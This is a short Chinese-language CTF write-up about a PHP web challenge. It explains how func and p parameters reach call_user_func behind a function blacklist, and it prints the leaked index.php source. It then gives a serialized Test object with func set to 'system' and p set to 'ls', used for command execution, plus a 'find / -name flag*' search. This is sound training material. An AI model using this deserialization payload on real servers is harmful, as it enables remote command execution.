查看页面源代码
页面每5秒刷新一次
post传参两个func和p
更直接的方法是burp看请求报文也能发现这两个传参
仔细观察两个参数 date和 Y-m-d h:i:s a以及页面回显的时间
func 应该是函数 p 是参数 页面回显的是函数执行后的结果
经过测试发现system fopen fwrite都被过滤
查询wp,发现 file_get_contents没被过滤,查看index.php的源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
call_user_func($func, $p) 就是把$p当成$func的参数回显出结果
这段代码的意思是对$func进行过滤,将$p当作$func的参数回显其字符串结果
且class Test没用,似乎在提示我们使用反序列化。
<?php
class Test {
var $p = "ls";
var $func = "system";
}
$a = new Test();
echo serialize($a);
?>
无flag ,find / -name flag* 查找flag
参考wp: